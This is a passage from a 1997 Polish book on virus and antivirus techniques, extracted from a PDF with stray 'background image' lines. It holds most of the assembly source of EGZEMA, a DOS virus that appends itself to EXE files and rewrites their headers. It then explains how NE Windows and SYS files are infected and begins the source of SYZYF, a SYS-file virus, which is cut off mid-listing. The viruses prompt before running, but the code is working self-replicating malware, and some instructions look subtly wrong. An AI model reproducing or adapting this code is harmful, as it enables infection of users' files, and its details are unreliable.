    jc    PrzywrocAtrybut                  ; gdy CF=1, to blad 
 
    lea   dx,[si][NoweDTA.DTAName]         ; podaj nazwe pliku do odczytu 
    mov   ax,3D02h                         ; funkcja DOS - otworz plik 
                                           ; do odczytu i zapisu 
    int   21h                              ; wywolaj funkcje DOS 
    jc    PrzywrocAtrybut                  ; gdy CF=1, to blad 
 
    xchg  ax,bx                            ; przenies uchwyt pliku do BX 
 
    mov   cx,26                            ; ilosc czytanych bajtow 
    lea   dx,[si][Naglowek]                ; podaj dokad czytac 26 bajty 
    mov   ah,3Fh                           ; funkcja DOS - czytaj z pliku 
    int   21h                              ; wywolaj funkcje DOS 
    jc    ZamknijPlik                      ; gdy CF=1, to blad 
 
    mov   ax,word ptr [si][Naglowek]       ; wez dwa pierwsze bajty pliku 
    cmp   ax,'mz'                          ; i sprawdz, czy to EXE 
    je    JestEXE                          ; gdy 'MZ', to plik EXE 
    cmp   ax,'zm'                          ; 
    jne   ZamknijPlik                      ; gdy 'ZM', to plik EXE 
 
JestEXE: 
    cmp   word ptr [si][Naglowek+18h],40h  ; czy plik Nowy EXE ? 
                                           ; (pominiete zostana takze 
                                           ;  niektore pliki EXE z ustawionym 

background image

                                           ;  adresem tablicy relokacji > 40h) 
    jae   ZamknijPlik                      ; TAK - szukaj nastepny 
 
    mov   ax,word ptr [si][Naglowek+14h]   ; \  zachowaj stare CS i IP 
    mov   [si][StaryIP],ax                 ;  \ z pliku 
    mov   ax,word ptr [si][Naglowek+16h]   ;  / 
    mov   [si][StaryCS],ax                 ; / 
    mov   ax,word ptr [si][Naglowek+10h]   ; \  zachowaj stare SS i SP 
    mov   [si][StarySP],ax                 ;  \ z pliku 
    mov   ax,word ptr [si][Naglowek+0Eh]   ;  / 
    mov   [si][StarySS],ax                 ; / 
 
    mov   ax,word ptr [si][Naglowek+08h]   ; \  wez dlugosc naglowka w 
    mov   cx,16                            ;  - paragrafach i oblicz 
    mul   cx                               ; /  jego dlugosc w bajtach 
    mov   bp,ax                            ; \ zachowaj dlugosc na pozniej 
    mov   di,dx                            ; / 
 
    mov   ax,word ptr [si][Naglowek+04h]   ; wez ilosc stron 
    cmp   word ptr [si][Naglowek+02h],0    ; czy ilosc bajtow na ostatniej 
stronie=0 
    jz    NieZmniejszaj                    ; TAK - nie zmniejszaj ilosci stron 
    cmp   ax,0                             ; czy ilosc stron=0 ? 
    jz    NieZmniejszaj                    ; TAK - nie zmniejszaj ilosci stron 
    dec   ax                               ; NIE zmniejsz ilsoc stron o jedna 
NieZmniejszaj: 
    mov   word ptr [si][Naglowek+04h],ax   ; zapisz na pozniej 
 
    mov   cx,512                           ; wez dlugosc obrazu programu w 
stronach 
    mul   cx                               ; i oblicz jego dlugosc w bajtach 
    add   ax,word ptr [si][Naglowek+02h]   ; dodaj ilosc bajtow na ostatniej 
stronie 
    adc   dx,0                             ; dodaj ewentualne przeniesienie 
 
    cmp   ax,word ptr [si][NoweDTA.DTASize] 
                                           ; \  czy rozmiar obrazu z naglowka 
    jne   ZamknijPlik                      ;  \ jest rowny dlugosci pliku ? 
    cmp   dx,word ptr [si][NoweDTA.DTASize+2] 
                                           ;  / TAK - infekuj 
    jne   ZamknijPlik                      ; /  NIE - prawdopodobnie nakladka 

background image

 
    sub   ax,bp                            ; \ odejmij od dlugosci pliku 
    sbb   dx,di                            ; / dlugosc naglowka 
                                           ; ax,dx=dlugosc kodu programu 
    mov   cx,16                            ; oblicz nowe CS i SP 
    div   cx                               ; dla programu 
 
    mov   word ptr [si][Naglowek+14h],dx   ; zachowaj nowe IP 
    mov   word ptr [si][Naglowek+16h],ax   ; zachowaj nowe CS 
    add   dx,100h+VirusDlug                ; stos bedzie za wirusem 
    and   dl,11111110b                     ; SP - najczesciej jest parzysty 
    mov   word ptr [si][Naglowek+10h],dx   ; zachowaj nowe SP 
    mov   word ptr [si][Naglowek+0Eh],ax   ; zachowaj nowe SS 
 
    mov   ax,word ptr [si][Naglowek+02h]   ; \ 
    add   ax,VirusDlug                     ;  \ 
    cwd                                    ;   \ 
    mov   cx,512                           ;    \ 
    div   cx                               ;     \ 
    add   word ptr [si][Naglowek+04h],ax   ;      - zmien dlugosc obrazu 
    mov   word ptr [si][Naglowek+02h],dx   ;     /  w naglowku pliku EXE 
    or    dx,dx                            ;    / 
    jz    NieDodawaj                       ;   / 
    inc   word ptr [si][Naglowek+04h]      ;  / 
NieDodawaj:                                ; / 
 
 
    xor   cx,cx                            ; \ zeruj CX:DX zawierajace 
    xor   dx,dx                            ; / adres wzgledem konca pliku 
    mov   ax,4202h                         ; funkcja DOS - zmien wskaznik 
                                           ; odczytu/zapisu na koniec pliku 
    int   21h                              ; wywolaj funkcje DOS 
    jc    ZamknijPlik                      ; gdy CF=1, to blad 
 
    mov   cx,VirusDlug                     ; ilosc zapisywanych bajtow 
    mov   dx,si                            ; podaj skad zapisac wirusa 
    mov   ah,30h                           ; funkcja DOS - zapisz do pliku 
    int   21h                              ; wywolaj funkcje DOS 
    jc    ZamknijPlik                      ; gdy CF=1, to blad 
 
    xor   cx,cx                            ; \ zeruj CX:DX zawierajace 

background image

    xor   dx,dx                            ; / adres wzgledem poczatku pliku 
    mov   ax,4200h                         ; funkcja DOS - zmien wskaznik 
                                           ; odczytu/zapisu na poczatek pliku 
    int   21h                              ; wywolaj funkcje DOS 
    jc    ZamknijPlik                      ; gdy CF=1, to blad 
 
    mov   cx,26                            ; ilosc zapisywanych bajtow 
    lea   dx,[si][Naglowek]                ; podaj skad zapisac nowy naglowek 
    mov   ah,30h                           ; funkcja DOS - zapisz do pliku 
    int   21h                              ; wywolaj funkcje DOS 
    jc    ZamknijPlik                      ; gdy CF=1, to blad 
 
    mov   cx,[si][NoweDTA.DTATime]         ; przywroc czas z bufora DTA 
    mov   dx,VZnacznik                     ; zaznacz infekcje pliku 
    mov   ax,5701h                         ; funkcja DOS - wpisz date, czas 
    int   21h                              ; wywolaj funkcje DOS 
 
ZamknijPlik: 
    mov   ah,3Eh                           ; funkcja DOS - zamknij plik 
    int   21h                              ; wywolaj funkcje DOS 
 
PrzywrocAtrybut: 
    mov   cl,[si][NoweDTA.DTAAttr]         ; podaj stary atrybut 
    mov   ch,0                             ; CX=CL 
    lea   dx,[si][NoweDTA.DTAName]         ; podaj nazwe pliku do zmiany 
    mov   ax,4301h                         ; funkcja DOS - zmien atrybut 
    int   21h 
 
SzukajNastepnyPlik:                        ; poprzedni plik byl zarazony 
    mov   ah,4Fh                           ; funkcja DOS - szukaj innego 
                                           ; pliku EXE 
    int   21h                              ; wywolaj funkcje DOS 
    jnc   KolejnyPlik                      ; gdy CF=1, to blad 
 
BezInfekcji: 
    push  es                               ; \ es=ds=PSP 
    pop   ds                               ; / 
 
    mov   dx,80h                           ; przywroc pierwotne DTA=PSP:80h 
    mov   ah,1Ah                           ; funkcja DOS - ustaw nowe DTA 
    int   21h                              ; wywolaj funkcje DOS 

background image

 
    pop   ax                               ; \ zdejmij ze stosu wartosci 
    pop   dx                               ; / SS i SP nosiciela 
    mov   ss,dx                            ; \ i umiesc te wartosci w 
    mov   sp,ax                            ; / SS i SP 
 
    db 0EAh                                ; powroc do nosiciela 
    SkokIP dw ?                            ; \ czesc skoku JMP FAR 
    SkokCS dw ?                            ; / 
 
MaskaEXE   db '*.EGZE'                     ; maska plikow EXE (ASCIIZ) 
Naglowek   db 26 dup(?)                    ; bufor zawiera zapamietane bajty 
                                           ; z poczatku programu 
                                           ; tu : kod rozkazu int 20h/NOP 
; Czesc Informayjna 
Informacja: 
    mov   ah,09h                           ; funkcja DOS - wyswietl tekst$ 
    int   21h                              ; wywolaj funkcje DOS 
 
    mov   ah,01h                           ; funkcja DOS - czytaj znak 
                                           ; ze standardowego wejscia 
    int   21h                              ; wywolaj funkcje DOS 
                                           ; AL zawiera znak 
    push  ax                               ; zapamietaj na chwile znak 
 
    mov   ax,0E0Dh                         ; \  przejdz 
    int   10h                              ;  \ do 
    mov   ax,0E0Ah                         ;  / nastepnej 
    int   10h                              ; /  linii 
 
    pop   ax                               ; przywroc znak 
 
    and   al,11011111b                     ; konwertuj znak na wielka litere 
    cmp   al,'T'                           ; czy potwierdzona infekcja ? 
    clc                                    ; ustaw flage na TAK 
    je    CLCRet                           ; TAK i powrot 
    stc                                    ; ustaw flage na NIE i powrot 
CLCRet: 
    ret                                    ; powrot 
 
TeInformacja db CR,LF,'EGZEMA v1.0, Autor : Adam Blaszczyk 1997' 

background image

             db CR,LF 
             db CR,LF,'Czy chcesz uruchomic wirusa (T/N) ?' 
             db DOLAR 
 
             StaryCS dw 0 
             StaryIP dw offset Nosiciel 
             StarySS dw 0 
             StarySP dw offset Nosiciel+100h 
 
VirusEnd: 
NoweDTA   DTAStruc <?,?,?,?,?,?> 
Nosiciel: 
          mov  ax,4C00h 
          int  21h 
EGZEMA ENDS 
END VirusStart 
 
 

4.1.2.2. Pliki EXE dla trybu chronionego (nowe EXE) 

Duża część istniejących obecnie plików EXE to tzw. nowe EXE. Mają one inną budowę 
niż pliki przeznaczone dla systemu DOS. Na ich początku znajduje się krótki programik 
działający w systemie DOS, tzw. STUB, mający za zadanie bądź wyświetlenie 
komunikatu, iż plik zawiera program nie działający w systemie DOS, bądź też próbę 
uruchomienia zawartego w pliku właściwego programu dla trybu chronionego pod 
kontrolą odpowiedniego dla niego środowiska, najczęściej używającego trybu 
chronionego, np. WINDOWS, DOS4GW. Nawiasem mówiąc, fakt istnienia programu 
STUB stwarza możliwość napisania programu działającego równocześnie pod dwoma 
systemami, np. pod DOS i WIN-DOWS. To

, który z programów byłby wykonywany 

byłoby zależne od systemu, pod którym byśmy aktualnie pracowali. Program dla DOS-a 
pełniłby tu rolę programu STUB. 
Po programie STUB znajduje się właściwy program przeznaczony dla trybu 
chronionego, posiadający, podobnie jak programy dla DOS, odpowiednio sformatowany 
nagłówek. Różne systemy mają różną strukturę tego nagłówka, tak więc infekcja takich 
programów jest o wiele trudniejsza niż w przypadku plików przeznaczonych dla DOS. 
Komplikacje przy pisaniu wirusów infekujących takie pliki wynikają także ze znacznych 
różnic, jakie występują pomiędzy trybem chronionym, dla którego są one przeznaczone, 
a trybem rzeczywistym, używanym przez DOS. Potencjalny twórca takiego wirusa musi 
uwzględniać przy jego programowaniu podstawowe cechy systemów wielozadaniowych: 
podział i ochronę zasobów, fakt stronicowania pamięci, połączonego z wymiataniem nie 
używanych obszarów pamięci na dysk (ang. swapping} oraz podział programu na 
oddzielne bloki danych, kodu i stosu, posiadających odpowiednie prawa dostępu, 
zawarte w deskryptorach. Można powiedzieć, iż bez dobrej znajomości trybu 
chronionego napisanie wirusa dla nowych EXE jest niemożliwe. Dowód na to stanowi 
stosunkowo mała liczba wirusów pisanych pod systemy Windows 3.l, Windows 95 czy 

background image

OS/2 (inną ważną przyczyną tego stanu rzeczy jest utrudniony dostęp do dokładnych 
informacji o tych systemach). 
Infekując pliki nowe EXE (za pomocą opisanej w poprzednim rozdziale metody) musimy 
na początku sprawdzić, czy rzeczywiście jest to plik tego typu. Porównujemy dwa 
pierwsze bajty pliku z sekwencją 'MZ' lub 'ZM' (na tym etapie nie jest ważne, dla jakiego 
systemu przeznaczony jest plik). Następnie, jeżeli porównanie wypadło pomyślnie, 
należy sprawdzić, czy na pozycji 18h-19h w nagłówku starego EXE znajduje się wartość 
40h lub większa. Jeśli tak, to należy spróbować odczytać ewentualny nagłówek nowego 
EXE, w którym znajduje się odpowiedni znacznik (dwa znaki ASCII) informujący o 
systemie, dla którego program jest przeznaczony. Typowe znaczniki zawarto w 
poniższej tabeli. 
 
Znaczniki rozszerzonego nagłówka nowych plików EXE 
Znacznik 

Docelowy system 

NE 

Windows lub OS/2 1.x, z podziałem na segmenty 

LE 

Windows virtual device driver (VxD) z liniowym adresowaniem (Linear 
Executable) 

LX 

Wariant LE, używany przez OS/2 2.x 

W3 

Plik WIN386.EXE dla Windows; kolekcja plików LE 

PE 

Windows NT lub Win32s (Portable Executable) 

DL 

HP 100LX/200LX (Pliki *.EXM) 

MP 

Stare pliki PharLap (pliki *.EXP) 

P2 

PharLap 286 (pliki *.EXP) 

P3 

PharLap 386 (pliki *.EXP) 

 
 
4.1.2.2.1. Pliki EXE dla Windows (NE) 
W przypadku programów dla Windows (znacznik NE) infekcja plików polegać może na 
odpowiedniej modyfikacji pól nagłówka NE oraz dodatkowo tablicy segmentów 
zawartych w programie, którą trzeba rozszerzyć o segment identyfikujący miejsce w 
pliku, w którym znajduje się kod wirusa. Ze względu na to, iż rozszerzenie tablicy 
segmentów wiąże się z koniecznością przesunięcia całego następującego po niej kodu 
programu (najczęściej bardzo długiego), jako jedno z rozwiązań proponuje się 
zmniejszenie rozmiaru programu STUB i przesunięcie tylko początkowej części pliku (w 
tym wypadku cofnięcie części nagłówka) w tak wygospodarowane miejsce. 
Format nagłówka pliku nowy EXE (NE) dla Windows pokazano poniżej. 
 
Format nagłówka plików nowy EXE (NE) dla Windows 
Adres 

Zawartość 

00-01 

znacznik pliku, bajty 'NE' 

02-03 

numer wersji programu linkującego (najpierw bardziej znacząca, potem mniej 
znacząca część) 

04-05 

offset względem początku nagłówka do tablicy wejść; format tablicy wejść jest 
następujący 00 liczba wejść (00, jeżeli koniec listy) 
     

01 numer segmentu (00, jeżeli koniec listy) 

      02 pierwszy rekord   
      05 drugi rekord 

background image

......... 
Każdy rekord ma format   
00      flagi: 
              bit 0: EXPORTED 
              bit 1: SINGLE DATA 
              bity 2-

7: nie używane   

01-02 ofset w segmencie   

06-07 

długość (w bajtach) tablicy wejść 

08-0B  kod korekcyjny (CRC) pliku 
0C 

flagi programu; znaczenie poszczególnych bitów 
0-1 DGROUP   
      0 = nie ma 
      1 = SINGLE SHARED 
      2 = MULTIPLE (UNSHARED) 
      3 = (NULL) 
2 bit globalnej inicjalizacji 
3 program tylko dla trybu chronionego 
4 program zawiera instrukcje 8086 
5 program zawiera instrukcje 80286 
6 program zawiera instrukcje 80386 
7 program zawiera instrukcje 80x87 

0D 

flagi aplikacji; znaczenie poszczególnych bitów: 
0-2 typ aplikacji 
     

001 pełnoekranowa (bez Windows AP! dla trybu chronionego) 

      010 kompatybilna z Windows API dla trybu chronionego 
     

011 używa Windows API dla trybu chronionego 3 aplikacja przeznaczona dla 

OS/2 
5 0=wykonywalna, 1=błędy w obrazie pliku 
6 niezgodny typ programu (stos nie jest zachowywany) 
7 plik DLL lub sterownik 
(SS:SP: złe wartości, CS:IP wskazuje na procedurę incjalizacji typu FAR, 
wywoływaną z AX=uchwyt do modułu, zwracająca AX=0 błąd lub AX<>0 
poprawna inicjalizacja) 

0E-0F  indeks do segmentu danych typu AUTODATA 10-11          inicjalny rozmiar sterty 

lokalnej 

12-13 

inicjalny rozmiar stosu, dodany do segmentu danych lub 0000h, gdy DS=SS 

14-17 

wejście do programu (CS:IP), CS oznacza indeks w tablicy segmentów 

18-1B 

daleki wskaźnik na stos programu (SS:SP), SS oznacza indeks w tablicy 
segmentów; jeżeli SS jest typu autodata i SP=OOOOh, wskaźnik stosu 
ustawiany jest na końcu segmentu danych typu AUTODATA, pod stertą lokalną 

1C-1D 

ilość segmentów 1 E-1 F        ilość odwołań do modułów 

20-21 

długość (w bajtach) nierezydentnej tablicy nazw 

22-23 

offset względem początku nagłówka do tablicy segmentów, składającej się z 
rekordów o formacie (pierwszy rekord ma numer 1): 
00-01 ofset w pliku (tr

zeba przesunąć o wartość z pola 32-3 

nagłówka, aby uzyskać adres w bajtach)   
02-

03 długość obrazu pliku (0000h=64K)   

background image

04-05 atrybuty segmentu   
      0 segment danych 
     

1 nie używane 

      2 REALMODE 
      3 ITERATED 
      4 MOVABLE 
      5 SHARABLE 
      6 PRELOADED 
      7 EXECUTE-CODE (kod) lub READ-ONLY (dane) 
     

8 relokacje (bezpośrednio po kodzie w segmencie) 

     

9 istnieją informacje dla debuggera   

      10,11 bity DPL dla 80286   
      12 DISCARDABLE   
      13-15 DISCARD PRIORITY   
06-

07 ilość bajtów do zaatakowania dla segmentu (0000h = 64K) 

24-25 

offset względem początku nagłówka do tablicy zasobów 

26-27 

offset względem początku nagłówka do tablicy nazw rezydentnych 

28-29 

offset względem początku nagłówka do tablicy odwołań do modułów 

2A-2B  off

set względem początku nagłówka do tablicy nazw importowanych (tablica 

łańcuchów typu string, zakończona łańcuchem o długości 0) 

2C-2F 

offset względem początku nagłówka do tablicy nazw nierezydentnych   

30-31 

ilość ruchomych punktów wejściowych zawartych w tablicy wejść 

32-33 

wyrównanie strony (0=9 strona o rozmiarze 2 shl 9=512 bajtów)   

34-35 

ilość wejść do tablic zasobów 

36 

docelowy system operacyjny   
00h nieznany   
01h OS/2   
02h Windows 
03h Europejska wersja MS-DOS 4.x   
04h Windows 386                                                         
05h BOSS (Borland Operating System Services)   
81h PharLap 286IDOS-Extender, OS/2   
82h PharLap 286IDOS-Extender, Windows 

37 

dodatkowe flagi programu 
0 używa długich nazw plików 
1 tryb chroniony 2.X 
2 proporcjonalna czcionka 2.X 
3 0=gangload: nie ma, 1=gangload: jest 

38-39 

offset do strefy gangload 

3A-3B 

offset do segmentu odwołańi do strefy gangload 

3C-3D  minimalny rozmiar kodu wymienialnego 
3E-3F 

spodziewana wersja systemu Windows (mniej znacząca część jako pierwsza, 
bardziej znacząca część jako druga) 

   
Format tablicy relokacji pliku nowy EXE (NE) dla Windows 
Adres 

Zawartość 

00-01 

ilość rekordów w tablicy relokacji 

background image

02 

kolejne elementy tablicy relokacji; jeden rekord tablicy relokacji zajmuje 8 
bajtów i ma format: 
00 typ rekordu 
00 LOBYTE 
02 BASE 
03 PTR 
05 OFFS 
0B PTR48 
0D OFFS32 01 flagi rekordu 
      bit 2: addytywny 02-03 offset w segmencie   
04-05 docelowy adres segmentu   
06-07 docelowy adres offsetu 

 

 

 

 

 
Format danych zawartych w tablicy zasobów pliku nowy EXE (NE) dla Windows 
Adres 

Zawartość 

00-01 

Wartość przesunięcia do dopasowania 

02 

Kolejne rekordy zasobów o formacie: 
00-01 identyfikator 
0000 koniec rekordów 
>= 8000h typ INTEGER 
w przeciwnym wypadku offset względem początku zasobów 
do łańcucha 
02-

03 ilość zasobów danego typu   

04-07 zarezerwowane   
08 początek zasobów 

 
 
Format danych zawartych w zasobach pliku nowy EXE (NE) dla Windows 
00-01 

ofset (w dopasowanych jednostkach) do zawartości zasobów 

02-03 

rozmiar zasobów w bajtach 

04-05 

flagi zasobów 
bit 4: MOVEABLE 
bit5:SHAREABLE 
bit 6: PRELOADED           

06-07 

 

typ zasobów; 

=8000 zasoby typu Integer 

08-0B  zarezerwowane     
 
Format tablicy odwołań do modułów w pliku nowy EXE (NE) dla Windowa 
Adres 

Zawartość 

00 

ilość rekordów w paczce (0=koniec tablicy) 

01 

znacznik segmentu: 
00 nie używany FF MOVEABLE lub FIXED 

02 

kolejne rekordy, każdy o formacie: 
00 flagi 

background image

     

bit 0: wejście jest eksportowane 

     

bit 1: wejście używa globalnych (współużywalnych) danych 

      bity 7-

3: ilość stów parametrów dla segmentu FIXED 

      01-02 ofset dla segmentu MOVEABLE 
      01-02 INT 3F (kod instrukcji: CDh 3Fh)   
03 numer segmentu   
05-06 ofset 

 
Format tablicy nazw rezydentnych/nierezydentnych w pliku nowy EXE (NE) dla   
Adres 

Zawartość 

00 

długość łańcucha (00=koniec tablicy)   

01-N 

łańcuch ASCII   

N+1-N+2 

numer porządkowy w tablicy 

 
Wygląd zainfekowanego opisaną wcześniej metodą pliku EXE przed i po infekcji 
przedstawiony został w poniższych tabelach. 
Wygląd niezainfekowanego pliku NE dla Windows 
Zawartość pliku 
program STUB dla DOS   
Nagłówek programu STUB   
Kod programu STUB   
właściwy program dla Windows: 
Nagłówek NE   
Tablica segmentów   
Tablice z danymi o zasobach   
Kod programu dla Windows 
 
Wygląd zainfekowanego pliku NE dla Windows 
Zawartość pliku 
program STUB dla DOS   
Nagłówek programu STUB   
Zmniejszony kod programu STUB   
właściwy program dla Windows zarażony wirusem: 
Nagłówek NE, cofnięty względem oryginalnej pozycji 
Tablica segmentów, cofnięta względem oryginalnej pozycji, rozszerzona przez wirusa o 
segment wskazujący na kod wirusa (na końcu pliku) 
Tablice z danymi o zasobach   
Kod programu dla Windows   
Kod wirusa 
 
4.1.3. Pliki zawierające sterowniki urządzeń SYS (BIN, DRV) 
Pliki SYS zawierają tzw. sterowniki urządzeń blokowych lub znakowych, które mogą 
rozszerzać możliwości systemu DOS. Sterowniki te są ładowane tylko raz, w momencie 
startu systemu, na podstawie po

leceń zawartych w pliku CONFIG.SYS (w Windows 95 

także na podstawie MSDOS.SYS). Do ładowania sterowników DOS wykorzystuje 
funkcję (4B00/21), a więc tę samą, co w przypadku programów EXE i COM, jednak dla 
uruchamianego sterownika nie jest tworzony blok wstępny programu (PSP). 

background image

Na początku plików typu SYS znajduje się sformatowany nagłówek, zawierający dane 
dla systemu DOS, który poprzez zawarte w nim informacje może komunikować się ze 
sterownikiem. Format pliku SYS i jego nagłówka przedstawiono w poniższych tabelach. 
Zawartość pliku SYS 
Zawartość   
Nagłówek pliku SYS (patrz następna tabela)   
Kod sterownika 
 
Format nagłówka pliku SYS 
00-03 

Wskaźnik do następnego programu obsługi urządzenia, standardowo == 
0FFFFFFFFh, co jest sygnałem dla systemu, iż plik zawiera tylko 1 sterownik. 
Gdyby plik zawierał więcej sterowników, w polu tym byłby zawarty adres 
kolejnego sterownika w pliku. 

04-05 

Atrybuty urządzenia, informują o przeznaczeniu sterownika 

06-07 

Adres procedury strategii (względem początku nagłówka). Procedura strategii 
służy do odebrania pakietu zlecenia od systemu DOS. 

08-09 

Adres procedury przerwania (względem początku nagłówka), która na 
podstawie pakietu zlecenia, przyjętego przez procedurę strategii, wykonuje 
odpowiednie czynności, 

0A-0F 

Nazwa urządzenia znakowego (8 znaków) lub liczba jednostek dla urządzenia 
blokowego (1 bajt wykorzystany+7 bajtów rezerwowych). 

 
Aby zainfekować plik SYS, wystarczy zmienić adres którejś z procedur zawartych w 
polach 06h-07h lub 08h-

09h tak, aby wskazywał on na kod wirusa, który zostaje 

dopisywany na końcu pliku. Po wczytaniu przez DOS zarażonego w ten sposób pliku 
zawsze zostaje wywołana procedura inicjalizacji sterownika, co pozwala wirusowi 
natychmiast zainstalować się w systemie, a następnie oddać sterowanie oryginalnemu 
programowi obsługi. 
Alternatywnym (i chyba prostszym) sposobem zarażenia plików SYS jest wykorzystanie 
faktu, iż plik taki może zawierać więcej niż jeden sterownik. Aby zainfekować plik SYS, 
wystarczy więc na początku pliku zmienić pole 00-03 tak, aby wskazywało ono na 
koniec pliku, gdzie należy dodać kod wirusa, którego wygląd będzie podobny do 
zwykłego sterownika (będzie posiadał nagłówek oraz procedury strategii i przerwań). 
Podczas inicjacji DOS uruchomi oba zawarte w pliku sterownik

i i w efekcie umożliwi 

działanie wirusowi. Jak widać, sposób infekcji tych plików jest bardzo prosty, stąd dziwi 
trochę fakt, iż stosunkowo mała liczba wirusów potrafi je zarażać. 
Wygląd pliku SYS po zarażeniu pokazano w poniższych tabelach. 
Zainfekowany p

lik SYS (ze zmianą adresów procedur w nagłówku) 

Zawartość pliku   
Nagłówek sterownika ze zmienionymi adresami procedur strategii lub przerwania 
Kod sterownika 
Kod wirusa   
 
Zainfekowany plik SYS (drugi fałszywy sterownik) 
Zawartość pliku   
Nagłówek sterownika ze zmianą adresu wskazującego na położenie drugiego 
sterownika w pliku 

background image

Kod sterownika   
Nagłówek fałszywego sterownika (wirusa)   
Kod wirusa 
 
Ponizej przedstawiono przyklad prostego nierezydentnego wirusa infekujacego pliki 
SYS. 
;----------------------------------------------------------------------------; 
;                                                                            ; 
;       Czesc ksiazki : "Nowoczesne techniki wirusowe i antywirusowe"        ; 
;                                                                            ; 
;                  SYZYF v1.0, Autor : Adam Blaszczyk 1997                   ; 
;                                                                            ; 
;              Prosty wirus nierezydentny plikow SYS                         ; 
;              Infekuje pliki z atrybutem Archive, ReadOnly, System, Hidden  ; 
;              znajdujace sie w biezacym katalogu                            ; 
;                                                                            ; 
; Kompilacja :                                                               ; 
;             TASM    SYZYF.ASM                                              ; 
;             TLINK   SYZYF.OBJ                                              ; 
;             MAKESYS SYZYF.EXE                                              ; 
;                                                                            ; 
;----------------------------------------------------------------------------; 
SYZYF SEGMENT 
JUMPS 
         ASSUME CS:SYZYF, DS:SYZYF 
         ORG 0000h                         ; SYS nie potrzebuje PSP 
 
    NUL          = 00h                     ; \ 
    LF           = 0Ah                     ;  - stale znakow 
    CR           = 0Dh                     ; /  ASCII 
 
    AtrReadOnly  = 00000001b               ; \ 
    AtrHidden    = 00000010b               ;  \ 
    AtrSystem    = 00000100b               ;   \ rozne stale atrybutow 
    AtrVolumeID  = 00001000b               ;   / pozycji katalogu 
    AtrDirectory = 00010000b               ;  / 
    AtrArchive   = 00100000b               ; / 
 
Atrybut = AtrArchive + AtrReadOnly + AtrSystem + AtrHidden + AtrVolumeID 
                                           ; atrybut poszukiwanej pozycji 
                                           ; katalogu 
 

background image

VirusDlug   = offset (VirusEnd-VirusStart) ; dlugosc kodu wirusa 
 
VRok        = 1998                         ; \  data opisujaca 
VMiesiac    = 13                           ;  - pliki juz zainfekowane 
VDzien      = 31                           ; / 
 
VZnacznik     = (VRok-1980)*512+VMiesiac*32+VDzien 
 
DTAStruc struc                             ; struktura DTA bufora transmisji 
                                           ; dyskowych uzywanych przez 
                                           ; funkcje 4E i 4F 
               DTAFill db 21 dup (?)       ; nieistotna czesc 
               DTAAttr db ?                ; atrybut znalezionej pozycji 
               DTATime dw ?                ; czas znalezionej pozycji 
               DTADate dw ?                ; data znalezionej pozycji 
               DTASize dd ?                ; dlugosc znalezionej pozycji 
               DTAName db 13 dup (?)       ; nazwa znalezionej pozycji 
DTAStruc ends 
 
NAGL struc 
               NAGLAdres      dd ?         ; Adres nastepnego sterownika 
               NAGLAtrybut    dw ?         ; atrybuty sterownika 
               NAGLStrategia  dw ?         ; adres obslugi strategii 
               NAGLPrzerwanie dw ?         ; adres obslugi przerwania 
               NAGLNazwa      db 8 dup(?)  ; nazwa sterownika 
NAGL ends 
 
Start: 
    SYSNagl NAGL 
<0FFFFFFFFh,8000h,ProceduraStrategii,ProceduraPrzerwania,'SYZYF'> 
                                           ; tu jest naglowek 
 
VirusStart:                                ; tu zaczyna sie kod wirusa 
 
ProceduraPrzerwania: 
    push   ax                              ; \ 
    push   bx                              ;  \ 
    push   cx                              ;   \    zachowaj 
    push   dx                              ;    \   zmieniane 
    push   si                              ;    /   rejestry 
    push   di                              ;   / 

background image

    push   ds                              ;  / 
    push   es                              ; / 
 
    Call   Trik 
Trik: 
    pop    si 
    sub    si,offset Trik 
 
    push   cs                              ; \ DS=CS 
    pop    ds                              ; / 
 
    mov    ax,[si][StarePrzerwanie]        ; zachowaj adres do nosiciela 
    mov    [si][SkokIP],ax 
    mov    [si][SkokCS],cs 
 
    lea    dx,[si][TeInformacja]           ; podaj gdzie jest tekst 
    Call   Informacja                      ; spytaj o uruchomienie wirusa 
 
    jnc   Infekcja                         ; gdy CF=1, nie uruchamiaj 
    jmp   BezInfekcji                      ; NIE - nie infekuj 
 
Infekcja: 
    mov   ah,2Fh                           ; funkcja DOS - pobierz adres DTA 
    int   21h                              ; wywolaj funkcje DOS 
    mov   word ptr [si][DTASegOfs+2],bx    ; \ zachowaj akualny adres DTA, 
    mov   word ptr [si][DTASegOfs+2],es    ; / aby mozna bylo go przywrocic 
 
    lea   dx,[si][NoweDTA]                 ; miejsca gdzie bedzie nowe DTA 
    mov   ah,1Ah                           ; funkcja DOS - ustaw nowe DTA 
    int   21h                              ; wywolaj funkcje DOS 
 
    lea   dx,[si][MaskaSYS]                ; maska poszukiwanych plikow '*.SYS' 
    mov   cx,Atrybut                       ; podaj atrybut poszukiwanej pozycji 
    mov   ah,4Eh                           ; funkcja DOS - szukaj pierwszej 
                                           ; pozycji katalogu 
    int   21h                              ; wywolaj funkcje DOS 
    jc    NieMaPlikuSYS                    ; gdy CF=1, to blad 
 
 
KolejnyPlik: 
    cmp   [si][NoweDTA.DTADate],VZnacznik  ; czy znaleziony plik jest juz 

background image

                                           ; zarazony ? 
    je    SzukajNastepnyPlik               ; tak = szukaj nastepny 
 
    mov   ax,word ptr [si][NoweDTA.DTASize+2] 
                                           ; pobierz starsza czesc dlugosci 
                                           ; pliku 
    or    ax,ax                            ; czy plik krotszy niz 65536 ? 
    jnz   SzukajNastepnyPlik               ; nie - szukaj nastepnego 
 
    mov   ax,word ptr [si][NoweDTA.DTASize]; pobierz dlugosc pliku 
    cmp   ax,64000                         ; czy dlugosc <= 64000 ? 
    ja    SzukajNastepnyPlik               ; nie - szukaj nastepnego 
 
    mov   cx,AtrArchive                    ; podaj nowy atrybut : Archive 
    lea   dx,[si][NoweDTA.DTAName]         ; podaj nazwe pliku do zmiany 
    mov   ax,4301h                         ; funkcja DOS - zmien atrybut 
    int   21h                              ; wywolaj funkcje DOS 
    jc    PrzywrocAtrybut                  ; gdy CF=1, to blad 
 
    lea   dx,[si][NoweDTA.DTAName]         ; podaj nazwe pliku do odczytu 
    mov   ax,3D02h                         ; funkcja DOS - otworz plik 
                                           ; do odczytu i zapisu 
    int   21h                              ; wywolaj funkcje DOS 
    jc    PrzywrocAtrybut                  ; gdy CF=1, to blad 
 
    xchg  ax,bx                            ; przenies uchwyt pliku do BX 
 
    mov   cx,size NAGL                     ; ilosc czytanych bajtow 
    lea   dx,[si][CzytNAGL]                ; podaj dokad czytac 3 bajty 
    mov   ah,3Fh                           ; funkcja DOS - czytaj z pliku 
    int   21h                              ; wywolaj funkcje DOS 
    jc    ZamknijPlik                      ; gdy CF=1, to blad 
 
    mov   ax,word ptr [si][CzytNagl.NaglAdres] 
